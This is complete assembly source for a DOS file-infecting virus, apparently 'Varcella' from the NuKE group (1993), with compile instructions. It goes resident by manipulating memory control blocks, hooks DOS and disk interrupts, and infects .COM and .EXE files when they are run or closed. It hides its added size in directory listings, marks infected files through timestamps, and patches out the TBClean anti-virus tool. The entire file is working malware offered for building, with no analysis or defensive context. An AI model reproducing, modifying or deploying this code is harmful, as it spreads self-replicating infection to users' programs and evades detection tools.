;===============================================================================
;       (c) 1993 by NuKE Software Publishing, Inc.
;           Developed by Rock Steady/NuKE
;
;       <VARCELLA.ASM>
;
; To Compile : TASM VARCELLA;
;              TLINK/T VARCELLA;
;
virus_size      equ     last - init_virus               ;virus size (bytes)

seg_a           segment byte public
                assume  cs:seg_a,ds:seg_a

                org     100h                            ;compile to .com

start:          jmp     init_virus

;-------------------------------------------------------------------------------
init_virus:     call    doit_now                        ;begin virus

doit_now:       pop     bp                              ;pop call offset
                sub     bp,offset doit_now              ;fix it with pointer

                push    ax
                push    bx                              ;save the registers
                push    cx
                push    dx
                push    si
                push    es
                push    ds

                mov     byte ptr cs:[tb_here][bp],00h   ;Reset TB flag
                xor     dx,dx                           ;dx=0
                mov     ds,dx                           ;ds=0
                mov     ax,word ptr ds:[0006h]          ;ax=0000:0006 segment of
                dec     ax
                mov     ds,ax

                mov     cx,0FFFFh                       ;cx=64k
                mov     si,dx                           ;si=0

look_4_tbclean: mov     ax,word ptr ds:[si]
                xor     ax,0A5F3h
                je      check_it                        ;jmp if its TBClean
look_again:     inc     si                              ;if not continue looking
                loop    look_4_tbclean
                jmp     not_found                       ;not found cont normal

check_it:       mov     ax,word ptr ds:[si+4]
                xor     ax,0006h
                jne     look_again                      ;jmp =! tbclean
                mov     ax,word ptr ds:[si+10]
                xor     ax,020Eh
                jne     look_again                      ;jmp =! tbclean
                mov     ax,word ptr ds:[si+12]
                xor     ax,0C700h
                jne     look_again                      ;jmp =! tbclean
                mov     ax,word ptr ds:[si+14]
                xor     ax,0406h
                jne     look_again                      ;jmp =! tbclean

                mov     bx,word ptr ds:[si+17]          ;steal REAL int 1 offset
                mov     byte ptr ds:[bx+16],0CFh        ;replace with IRET

                mov     bx,word ptr ds:[si+27]          ;steal REAL int 3 offset
                mov     byte ptr ds:[bx+16],0CFh        ;replece with IRET

                mov     byte ptr cs:[tb_here][bp],01h   ;set the TB flag on

                mov     bx,word ptr ds:[si+51h]         ;get 2nd segment of ints
                mov     word ptr cs:[tb_int2][bp],bx    ;vector table

                mov     bx,word ptr ds:[si-5]           ;get offset of 1st copy
                mov     word ptr cs:[tb_ints][bp],bx    ;of vector table

not_found:      xor     dx,dx
                push    ds
                mov     ds,dx                           ;put that in ds
                les     si,dword ptr ds:[0084h]         ;get int21 vector
                mov     word ptr cs:[int21][bp],si      ;save int21 offset
                mov     word ptr cs:[int21+2][bp],es    ;save int21 segment

                les     si,dword ptr ds:[0070h]         ;get int1c vector
                mov     word ptr cs:[int1c][bp],si      ;save int1c offset
                mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment

                les     si,dword ptr ds:[004ch]         ;get int13 vector
                mov     word ptr cs:[int13][bp],si      ;save int13 offset
                mov     word ptr cs:[int13+2][bp],es    ;save int13 segment
                pop     ds

                mov     byte ptr cs:[mcb][bp],00h       ;reset the TB mcb flag
                mov     ax,0abcdh                       ;test if virus is here?
                int     13h
                cmp     bx,0abcdh                       ;is it?
                jne     install_virus                   ;jmp, if not & install
leave_mcb:      jmp     exit_mem                        ;yes, leave then

;--------- Going Resident ------

steal_some:     mov     al,byte ptr cs:[mcb][bp]        ;if tb is here, steal
                cmp     al,0ffh                         ;memory from it!
                je      leave_mcb                       ;error? exit then
                inc     byte ptr cs:[mcb][bp]           ;inc flag
                cmp     al,01                           ;
                ja      mcb3_1

install_virus:  mov     ah,52h                          ;get the list of lists
                int     21h                             ;use dos
                mov     ax,es:[bx-2]                    ;get first mcb chain

                mov     es,ax                           ;es=segment of 1st mcb
mcb1:           cmp     byte ptr es:[0000h],'Z'         ;is it the last mcb
                jne     mcb2                            ;jmp if not
                clc                                     ;yes last mcb, CLC
                jmp     short mcbx                      ;outta here

mcb2:           cmp     byte ptr es:[0000h],'M'         ;is it in the chain
                je      mcb3                            ;jmp if yes
                stc                                     ;error, set carry flag
                jmp     short mcbx                      ;outta here

mcb3:           cmp     byte ptr cs:[mcb][bp],0         ;is TB flag off?
                je      mcb3_1                          ;if yes, then jmp
                mov     dx,ds                           ;else cmp TB ds
                sub     dx,9h                           ;ds-10
                cmp     word ptr es:[0001h],dx          ;cmp to mcb owner.
                je      mcbx_1

mcb3_1:         mov     ax,es                           ;ax=es
                add     ax,word ptr es:[0003h]          ;ax=es + next mcb
                inc     ax                              ;get mcb
                mov     es,ax                           ;es=ax:next mcb chain
                jmp     short mcb1                      ;goto first step

mcbx:           jc      leave_mcb                       ;if error, exit
mcbx_1:         cmp     word ptr es:[0003],(virus_size/16) + 11h
                jb      steal_some
                mov     byte ptr es:[0000],'Z'          ;the last mcb chain!
                sub     word ptr es:[0003],(virus_size/16) + 11h
                add     ax,word ptr es:[0003h]          ;figure out segment
                inc     ax                              ;add 16 bytes
                mov     es,ax                           ;new segment in es
                mov     di,103h                         ;offset is 103h

                push    ds                              ;save TB ds location
                push    cs
                pop     ds                              ;virus cs=ds
                mov     si,offset init_virus            ;si=top of virus
                add     si,bp                           ;add delta
                mov     cx,virus_size                   ;move virus_size
                cld                                     ;clear direction flag
                repne   movsb                           ;do it Mr. Crunge

                mov     ds,cx                           ;ds=0000
hook_again:     cli                                     ;disable ints
                mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
                mov     word ptr ds:[0086h],es
                mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
                mov     word ptr ds:[0072h],es
                mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
                mov     word ptr ds:[004eh],es
                sti                                     ;enable ints

                cmp     byte ptr cs:[tb_here][bp],00h   ;was TB found?
                je      go_on                           ;no, then jmp
                cmp     cl,01h                          ;is this the 2nd x here?
                je      go_on                           ;yes, then jmp
                mov     ds,word ptr cs:[tb_int2][bp]    ;get TB int segment
                inc     cl                              ;inc cl
                jmp     short hook_again                ;hook ints again

go_on:          pop     ds                              ;get TB code segment
                cmp     byte ptr cs:[tb_here][bp],01h   ;TB here?
                je      hook_tb_ints                    ;yes, then jmp
                jmp     exit_mem                        ;else exit
hook_tb_ints:   mov     si,word ptr cs:[tb_ints][bp]    ;get TB int offset
                mov     word ptr ds:[si+84h+16],offset int21_handler
                mov     word ptr ds:[si+86h+16],es
                mov     word ptr ds:[si+70h+16],offset int1c_handler
                mov     word ptr ds:[si+72h+16],es
                mov     word ptr ds:[si+4ch+16],offset int13_handler
                mov     word ptr ds:[si+4eh+16],es

exit_mem:       pop     ds
                pop     es
                pop     si
                cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                push    cs
                pop     ds
                mov     bx,offset buffer                ;get first 3 bytes
                add     bx,bp                           ;fix delta
                mov     ax,[bx]                         ;move first 2 bytes
                mov     word ptr ds:[100h],ax           ;put em in the beginning
                inc     bx                              ;inc pointer
                inc     bx
                mov     al,[bx]                         ;get last of 3rd byte
                mov     byte ptr ds:[102h],al           ;put that in place
                pop     dx
                pop     cx
                pop     bx
                pop     word ptr cs:[ax_reg][bp]        ;save ax else where
                mov     ax,100h
                push    ax                              ;fake a CALL & RETN
                mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
                retn                                    ;link to 100h

exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
                add     dx,10h                          ;add 16bytes to seg
                pop     word ptr cs:[ax_reg][bp]
                pop     cx
                pop     bx
                pop     ax
                add     word ptr cs:[buffer+22][bp],dx  ;fix segments
                add     dx,word ptr cs:[buffer+14][bp]
                cli
                mov     ss,dx                           ;restore ss
                mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
                sti
                mov     dx,word ptr cs:[ax_reg][bp]
                jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.

mcb             db      0
ax_reg          dd      0
int13           dd      0
int1c           dd      0
int21           dd      0
tb_ints         dd      0
tb_here         db      0
tb_int2         dd      0

;===============================================================================
;                       Int 13h Handler
;===============================================================================
int13_handler:
                cmp     ax,0abcdh                       ;virus test
                je      int13_test                      ;yupe

int13call:      jmp     dword ptr cs:[int13]            ;original int13

int13_test:     mov     bx,ax                           ;fix
                iret
;===============================================================================
;                       Int 1Ch Handler
;===============================================================================
int1c_handler:
                iret
;-------------------------------------------------------------------------------
;                       FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir:        call    calldos21                       ;get the fcb block
                test    al,al                           ;test for error
                jnz     fcb_out                         ;jmp if error
                push    ax                              ;save registers
                push    bx
                push    cx
                push    es
                mov     ah,51h                          ;get current psp
                call    calldos21                       ;call int21

                mov     es,bx                           ;es=segment of psp
                cmp     bx,es:[16h]                     ;psp of command.com?
                jnz     fcb_out1                        ;no, then jmp
                mov     bx,dx                           ;ds:bx=fcb
                mov     al,[bx]                         ;1st byte of fcb
                push    ax                              ;save it
                mov     ah,2fh                          ;get dta
                call    calldos21                       ;es:bx <- dta

                pop     ax                              ;get first byte
                inc     al                              ;al=ffh therefor al=ZR
                jnz     fcb_old                         ;if != ZR jmp
                add     bx,7h                           ;extended fcb here, +7
fcb_old:        mov     ax,es:[bx+17h]                  ;get file time stamp
                mov     cx,es:[bx+19h]                  ;get file date stamp
                and     ax,1fh                          ;unmask seconds field
                and     cx,1fh                          ;unmask day of month
                xor     ax,cx                           ;are they equal?
                jnz     fcb_out1                        ;nope, exit then
                sub     word ptr es:[bx+1dh],virus_size ;sub away virus_size
                sbb     word ptr es:[bx+1fh],0          ;sub with carry flag

fcb_out1:       pop     es                              ;restore registers
                pop     cx
                pop     bx
                pop     ax
fcb_out:        iret                                    ;return control
;-------------------------------------------------------------------------------
;                       ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir:        call    calldos21                       ;get results to dta
                jb      dta_out                         ;if error, split
                push    ax                              ;save register
                push    bx
                push    cx
                push    es
                mov     ah,2fh                          ;get current dta
                call    calldos21                       ;es:bx <- dta

                mov     ax,es:[bx+16h]                  ;get file time stamp
                mov     cx,es:[bx+18h]                  ;get file date stamp
                and     ax,1fh                          ;unmask seconds field
                and     cx,1fh                          ;unmask day of month
                xor     ax,cx                           ;are they equal
                jnz     dta_out1                        ;nope, exit then
                sub     word ptr es:[bx+1ah],virus_size ;sub away virus_size
                sbb     word ptr es:[bx+1ch],0          ;sub with carry flag

dta_out1:       pop     es                              ;restore registers
                pop     cx
                pop     bx
                pop     ax
dta_out:        retf    0002h                           ;pop 2 words of stack
;===============================================================================
;                       Int 21h Handler
;===============================================================================
int21_handler:
                cmp     ah,11h                          ;FCB find first match
                je      old_dir
                cmp     ah,12h                          ;FCB find next match
                je      old_dir
                cmp     ah,4eh                          ;Find first match
                je      new_dir
                cmp     ah,4fh                          ;Find next match
                je      new_dir
                cmp     ah,3dh                          ;Opening a file
                je      file_open
                cmp     ah,6ch                          ;Ext_opening a file
                je      file_ext_open
                cmp     ah,3eh                          ;closing a file
                je      file_close
                cmp     ah,4bh                          ;Execution of a file
                je      file_execute

int21call:      jmp     dword ptr cs:[int21]            ;original int21

old_dir:        jmp     fcb_dir                         ;fcb file find

new_dir:        jmp     dta_dir                         ;new asciiz file find

file_open:      jmp     open_file                       ;disinfect opening file

file_ext_open:  jmp     open_ext_file                   ;disinfect opening file

file_close:     jmp     close_file                      ;infect closing file

file_execute:   call    check_extension                 ;check for ok ext
                cmp     byte ptr cs:[com_ext],1         ;is it a com?
                je      exec_disinfect                  ;yupe disinfect it
                cmp     byte ptr cs:[exe_ext],1         ;is it a exe?
                je      exec_disinfect                  ;yupe disinfect it
                jmp     SHORT int21call

exec_disinfect: call    exec_disinfect1                 ;Disinfect file

                mov     word ptr cs:[ax_reg],dx
                pushf                                   ;fake an int
                call    dword ptr cs:[int21]            ;call dos
                xchg    word ptr cs:[ax_reg],dx         ;restore dx

                mov     byte ptr cs:[close],0           ;reset flag..
                push    ax                              ;store 'em
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds
closing_infect: mov     ax,3524h                        ;get error handler
                call    calldos21                       ;call dos

                push    es                              ;save es:bx= int_24
                push    bx                              ;error handler
                push    ds                              ;ds:dx= asciiz string
                push    dx
                push    cs                              ;cs=ds
                pop     ds
                mov     dx,offset int21_handler         ;hook error handler
                mov     ax,2524h                        ;with our int24h
                call    calldos21
                pop     dx                              ;restore ds:dx asciiz
                pop     ds                              ;string

                cmp     byte ptr cs:[close],0           ;Are we closing file?
                je      exec_get_att                    ;nope, then jmp
                mov     ax,word ptr cs:[handle]         ;yupe, ax=file handle
                jmp     exec_open_ok                    ;jmp so you don't open
                                                        ;the file twice...
exec_get_att:   mov     ax,4300h                        ;get file attribs
                call    calldos21                       ;call dos
                jnc     exec_attrib                     ;no, error jmp
                jmp     exec_exit2                      ;ERROR - split

exec_attrib:    mov     byte ptr cs:[attrib],cl
                test    cl,1                            ;check bit 0 (read_only)
                jz      exec_attrib_ok                  ;if bit0=0 jmp
                dec     cx                              ;else turn of bit_0
                mov     ax,4301h                        ;write new attribs
                call    calldos21                       ;call dos

exec_attrib_ok: mov     ax,3d02h                        ;open file for r/w
                call    calldos21                       ;call dos
                jnc     exec_open_ok                    ;ok, no error jmp
                jmp     exec_exit2                      ;ERROR - split

exec_open_ok:   xchg    bx,ax                           ;bx=file handler
                push    cs                              ;cs=ds
                pop     ds
                mov     ax,5700h                        ;get file time/date
                call    calldos21                       ;call dos

                mov     word ptr cs:[old_time],cx       ;save file time
                mov     word ptr cs:[org_time],cx
                mov     word ptr cs:[old_date],dx       ;save file date
                and     cx,1fh                          ;unmask second field
                and     dx,1fh                          ;unmask date field
                xor     cx,dx                           ;are they equal?
                jnz     exec_time_ok                    ;nope, file not infected
                jmp     exec_exit3                      ;FILE INFECTED

exec_time_ok:   and     word ptr cs:[old_time],0ffe0h   ;reset second bits
                or      word ptr cs:[old_time],dx       ;seconds=day of month

                mov     ax,4200h                        ;reset ptr to beginning
                xor     cx,cx                           ;(as opened files may
                xor     dx,dx                           ; have ptr anywhere,
                call    calldos21                       ; so be smart!)

                mov     word ptr cs:[marker],0DBDBh     ;File Infection marker
                mov     dx,offset ds:[buffer]           ;ds:dx buffer
                mov     cx,18h                          ;read 18h bytes
                mov     ah,3fh                          ;read from handle
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error? if yes jmp
                sub     cx,ax                           ;did we read 18h bytes?
                jnz     exec_exit1                      ;if no exit
                mov     dx,cx                           ;cx=0 dx=0
                mov     ax,4202h                        ;jmp to EOF
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error? exit if so.
                mov     word ptr cs:[filesize+2],ax     ;save lower 16bit fileSz
                mov     word ptr cs:[filesize],dx       ;save upper 16bit fileSz
                call    chkbuf                          ;check if .exe
                jz      exec_cool                       ;jmp if .exe file
                cmp     ax,0FFF0h - virus_size          ;64k-256-virus < 64k?
                jb      exec_cool                       ;if less jmp!

exec_exit1:     jmp     exec_exit3                      ;exit!

;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
;                       Mutate and infect
;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

exec_cool:      mov     dx,offset init_virus            ;ds:dx=virus beginning
                mov     cx,virus_size                   ;cx=virus size
                mov     ah,40h                          ;write to handle
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error? if yes exit
                sub     cx,ax                           ;cx=ax bytes?
                jnz     exec_exit1                      ;not equal exit
                mov     dx,cx                           ;cx=0 dx=0
                mov     ax,4200h                        ;jmp to top of file
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error, then exit
                mov     ax,word ptr cs:[filesize+2]     ;ax=lower 16bit fileSize
                call    chkbuf                          ;check if .exe
                jnz     exec_com_file                   ;if !=.exe jmp
                mov     dx,word ptr cs:[filesize]       ;get upper 16bit

                mov     cx,4                            ;cx=0004
                mov     si,word ptr cs:[buffer+8]       ;get exe header size
                shl     si,cl                           ;mul by 16
                sub     ax,si                           ;exe_header - filesize
                sbb     dx,0h                           ;sub with carry

                mov     cx,10h                          ;cx=0010
                div     cx                              ;ax=length in para
                                                        ;dx=remaider
                mov     word ptr cs:[buffer+20],dx      ;New IP offset address
                mov     word ptr cs:[buffer+22],ax      ;New CS (In paragraphs)
                add     dx,virus_size+100h              ;Dx=virus_size+256

                mov     word ptr cs:[buffer+16],dx      ;New SP entry
                mov     word ptr cs:[buffer+14],ax      ;New SS (in para)
                add     word ptr cs:[buffer+10],(virus_size)/16+1   ;min para
                mov     ax,word ptr cs:[buffer+10]      ;ax=min para needed
                cmp     ax,word ptr cs:[buffer+12]      ;cmp with max para
                jb      exec_size_ok                    ;jmp if ok!
                mov     word ptr cs:[buffer+12],ax      ;nop, enter new max

exec_size_ok:   mov     ax,word ptr cs:[buffer+2]       ;ax=file size
                add     ax,virus_size                   ;add virus to it
                push    ax                              ;push it
                and     ah,1                            ;
                mov     word ptr cs:[buffer+2],ax       ;restore new value
                pop     ax                              ;pop ax
                mov     cl,9                            ;
                shr     ax,cl                           ;
                add     word ptr cs:[buffer+4],ax       ;enter fileSz + header
                mov     dx,offset buffer                ;ds:dx=new exe header
                mov     cx,18h                          ;cx=18h bytes to write
                jmp     SHORT exec_write_it             ;jmp...

exec_com_file:  sub     ax,3                            ;sub 3 for jmp address
                mov     word ptr cs:[buffer+1],ax       ;store new jmp value
                mov     byte ptr cs:[buffer],0E9h       ;E9h=JMP
                mov     dx,offset buffer                ;ds:dx=buffer
                mov     cx,3                            ;cx=3 bytes

exec_write_it:  mov     ah,40h                          ;write to file handle
                call    calldos21                       ;call dos

                mov     dx,word ptr cs:[old_date]       ;restore old date
                mov     cx,word ptr cs:[old_time]       ;restore old time
                mov     ax,5701h                        ;write back to file
                call    calldos21                       ;call dos

exec_exit3:     mov     ah,3eh                          ;close file
                call    calldos21                       ;call dos

exec_exit2:     pop     dx                              ;restore es:bx (the
                pop     ds                              ;original int_24)
                mov     ax,2524h                        ;put back to place
                call    calldos21                       ;call dos

                pop     ds
                pop     es
                pop     di                              ;pop registers
                pop     si
                pop     dx
                xor     cx,cx
                mov     cl,byte ptr cs:[attrib]         ;get old file attrib
                mov     ax,4301h                        ;put them back
                call    calldos21                       ;call dos
                pop     cx
                pop     bx
                pop     ax

                cmp     byte ptr cs:[close],0           ;get called by exec?
                je      exec_good_bye                   ;yep, then jmp
                iret                                    ;else exit now.

exec_good_bye:  mov     dx,word ptr cs:[ax_reg]         ;restore dx
                iret                                    ;iret
;-------------------------------------------------------------------------------
;                       Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file:     cmp     bx,4h                           ;file handler > 4?
                ja      close_cont                      ;jmp if above
                jmp     int21call                       ;else exit

close_cont:     push    ax                              ;save 'em
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds

                push    bx                              ;save file handler
                mov     ax,1220h                        ;get job file table!
                int     2fh                             ;call multiplex
                                                        ;es:di=JFT for handler
                mov     ax,1216h                        ;get system file table
                mov     bl,es:[di]                      ;bl=SFT entry
                int     2fh                             ;call multiplex
                pop     bx                              ;save file handler

                add     di,0011h
                mov     byte ptr es:[di-0fh],02h        ;set to read/write

                add     di,0017h
                cmp     word ptr es:[di],'OC'           ;check for .COM file
                jne     closing_next_try                ;no try next ext
                cmp     byte ptr es:[di+2h],'M'         ;check last letter
                je      closing_cunt3                   ;no, file no good, exit

closing_exit:   jmp     closing_nogood                  ;exit

closing_next_try:
                cmp     word ptr es:[di],'XE'           ;check for .EXE file
                jne     closing_exit                    ;no, exit
                cmp     byte ptr es:[di+2h],'E'         ;check last letter
                jne     closing_exit                    ;no, exit

closing_cunt3:  mov     byte ptr cs:[close],1           ;set closing flag
                mov     word ptr cs:[handle],bx         ;save handler
                jmp     closing_infect                  ;infect file!

closing_nogood: pop     ds                              ;restore 'em
                pop     es
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                jmp     int21call                       ;good bye, baby...
;-------------------------------------------------------------------------------
;               Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1         PROC
                push    ax                              ;save registers
                push    bx
                push    cx
                push    dx
                push    ds

                mov     ax,4300h                        ;get file attribs
                call    calldos21                       ;call dos

                test    cl,1h                           ;is Read-only flag?
                jz      okay_dis                        ;no, jmp attribs ok
                dec     cx                              ;turn off bit 0
                mov     ax,4301h                        ;write new attribs
                call    calldos21                       ;call dos
                jnc     okay_dis                        ;No error? then jmp
                jmp     end_dis                         ;error? exit!

okay_dis:       mov     ax,3d02h                        ;open file for r/w
                call    calldos21                       ;call dos
                jnc     dis_fileopen                    ;No error? then jmp
                jmp     end_dis                         ;Error? exit!

dis_fileopen:   xchg    bx,ax                           ;bx=file handle
                mov     ax,5700h                        ;get file time/date
                call    calldos21                       ;call dos

                mov     word ptr cs:[old_time],cx       ;save file time
                mov     word ptr cs:[old_date],dx       ;save file date
                and     cx,1fh                          ;unmask second field
                and     dx,1fh                          ;unmask date field
                xor     cx,dx                           ;are they equal?
                jnz     half_way                        ;nope, file not infected

                mov     ax,4202h                        ;jmp to EOF
                xor     cx,cx                           ;cx=0
                xor     dx,dx                           ;dx=0
                call    calldos21                       ;call dos

                push    cs                              ;cs=ds
                pop     ds                              ;
                mov     cx,dx                           ;dx:ax=file size
                mov     dx,ax                           ;save to cx:dx
                push    cx                              ;save upper fileSz
                push    dx                              ;save lower fileSz

                sub     dx,1Ch                          ;filesize-1C=origin byte
                sbb     cx,0                            ;sub with carry
                mov     ax,4200h                        ;position ptr
                call    calldos21                       ;call dos

                mov     ah,3fh                          ;open file
                mov     cx,1Ch                          ;read last 1Ch bytes
                mov     dx,offset org_time              ;put in ds:dx
                call    calldos21                       ;call dos
                call    chkbuf                          ;Did it work?
                je      half                            ;Yes,Jmp
                cmp     word ptr ds:[marker],0DBDBh     ;File REALLY Infected?
                je      half                            ;Yes, then jmp

                pop     dx
                pop     cx
half_way:       jmp     end_dis1                        ;exit, error!

half:           xor     cx,cx                           ;cx=0
                xor     dx,dx                           ;dx=0
                mov     ax,4200h                        ;pointer to top of file
                call    calldos21                       ;call dos

                mov     ah,40h                          ;write function
                mov     dx,offset buffer                ;ds:dx=buffer
                mov     cx,18h                          ;cx=18h bytes to write
                call    chkbuf                          ;check if .exe?
                jz      SHORT dis_exe_jmp               ;yupe, jmp
                mov     cx,3h                           ;else write 3 bytes
dis_exe_jmp:    call    calldos21                       ;call dos

                pop     dx                              ;pop original fileSz
                pop     cx

                sub     dx,virus_size                   ;Sub with virus_size
                sbb     cx,0                            ;sub with carry
                mov     ax,4200h                        ;ptr top of virus
                call    calldos21                       ;call dos

                mov     ah,40h                          ;write function
                xor     cx,cx                           ;write 0 bytes
                call    calldos21                       ;call dos! (new EOF)

                mov     cx,word ptr ds:[org_time]       ;get original time
                mov     dx,word ptr ds:[old_date]       ;get original date
                mov     ax,5701h                        ;put back to file
                call    calldos21                       ;call dos

end_dis1:       mov     ah,3eh                          ;close file handle
                call    calldos21                       ;call dos

end_dis:        pop     ds                              ;restore values
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                ret
exec_disinfect1         ENDP
;-------------------------------------------------------------------------------
;                       Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file:  push    dx                              ;save DX
                mov     dx,si                           ;asciiz=DS:DX now
                jmp     open_ext                        ;jmp
;-------------------------------------------------------------------------------
;                       Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file:      push    dx                              ;save dx (asciiz)
open_ext:       call    check_extension                 ;check extension
                cmp     byte ptr cs:[com_ext],1         ;is it a .com?
                je      open_ok_ext                     ;yep, then jmp
                cmp     byte ptr cs:[exe_ext],1         ;is it a .exe?
                je      open_ok_ext                     ;yep, them jmp
                jmp     open_exit                       ;ext no good, exit!

open_ok_ext:    call    exec_disinfect1                 ;disinfect file!
open_exit:      pop     dx                              ;restore dx
                jmp     int21call                       ;exit to dos...
;-------------------------------------------------------------------------------
;                       Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf                  PROC
                push    si                              ;save register
                mov     si,word ptr cs:[buffer]         ;get first word
                cmp     si,5A4Dh                        ;si=ZM?
                je      chkbuf_ok                       ;if yes exit
                cmp     si,4D5Ah                        ;si=MZ?
chkbuf_ok:      pop     si                              ;pop register
                ret
chkbuf                  ENDP
;-------------------------------------------------------------------------------
;                       Check file Extension
;-------------------------------------------------------------------------------
check_extension         PROC
                pushf                                   ;save flags
                push    cx                              ;save cx,si
                push    si
                mov     si,dx                           ;ds:[si]=asciiz
                mov     cx,128                          ;scan 128 bytes max
                mov     byte ptr cs:[com_ext],0         ;reset .com flag
                mov     byte ptr cs:[exe_ext],0         ;reset .exe flag

check_ext:      cmp     byte ptr ds:[si],2Eh            ;scan for "."
                je      check_ext1                      ;jmp if found
                inc     si                              ;else inc and loop
                loop    check_ext                       ;loop me

check_ext1:     inc     si                              ;inc asciiz ptr
                cmp     word ptr ds:[si],'OC'           ;is it .COM
                jne     check_ext2                      ;       ~~
                cmp     byte ptr ds:[si+2],'M'          ;is it .COM
                je      com_file_ext                    ;         ~

check_ext2:     cmp     word ptr ds:[si],'oc'           ;is it .com
                jne     check_ext3                      ;       ~~
                cmp     byte ptr ds:[si+2],'m'          ;is it .com
                je      com_file_ext                    ;         ~

check_ext3:     cmp     word ptr ds:[si],'XE'           ;is it .EXE
                jne     check_ext4                      ;       ~~
                cmp     byte ptr ds:[si+2],'E'          ;is it .EXE
                je      exe_file_ext                    ;         ~

check_ext4:     cmp     word ptr ds:[si],'xe'           ;is it .exe
                jne     check_ext_exit                  ;       ~~
                cmp     byte ptr ds:[si+2],'e'          ;is it .exe
                je      exe_file_ext                    ;         ~
                jmp     check_ext_exit                  ;neither exit

com_file_ext:   mov     byte ptr cs:[com_ext],1         ;found .com file
                jmp     SHORT check_ext_exit            ;jmp short
exe_file_ext:   mov     byte ptr cs:[exe_ext],1         ;found .exe file

check_ext_exit: pop     si                              ;restore
                pop     cx
                popf                                    ;save flags
                ret

com_ext         db      0                               ;flag on=.com file
exe_ext         db      0                               ;flag on=.exe file
check_extension         ENDP
;-------------------------------------------------------------------------------
;                       Original Int21h
;-------------------------------------------------------------------------------
calldos21               PROC
                pushf                                   ;fake int call
                call    dword ptr cs:[int21]            ;call original int_21
                ret
calldos21               ENDP
;===============================================================================
;                       Int 24h Handler
;===============================================================================
int24_handler:
                mov     al,3                            ;don't report error...
                iret                                    ;later dude...
;-------------------------------------------------------------------------------
;              FLAGS - FLAGS - FLAGS - FLAGS - FLAGS

close           db      0                       ;closing file

;-------------------------------------------------------------------------------
;             END - END - END - END - END - END - END

rand_val        dw      0
flags           dw      0                       ;Flags are saved here
attrib          db      0                       ;file's attrib
filesize        dd      0                       ;filesize
handle          dw      0                       ;file handler
old_date        dw      0                       ;file date
old_time        dw      0                       ;file time
;-------------------------------------------------------------------------------
org_time        dw      0                       ;original file time

;-------------------------------------------------------------------------------
buffer          db      0CDh,020h       ; 0 (0)  EXE file signature
                db      090h,090h       ; 2 (2)  Length of file
                db      090h,090h       ; 4 (4)  Size of file + header (512k)
                db      090h,090h       ; 6 (6)  # of relocation items
                db      090h,090h       ; 8 (8)  Size of header (16byte para)
                db      090h,090h       ; A (10) Min para needed (16byte)
                db      090h,090h       ; C (12) Max para needed (16byte)
                db      090h,090h       ; E (14) SS reg from start in para.
                db      090h,090h       ; 10(16) SP reg at entry
                db      090h,090h       ; 12(18) checksum
                db      090h,090h       ; 14(20) IP reg at entry
                db      090h,090h       ; 16(22) CS reg from start in para.
Marker          db      0DBh,0DBh       ; Marks THIS File as INFECTED!
last:
seg_a           ends
                end     start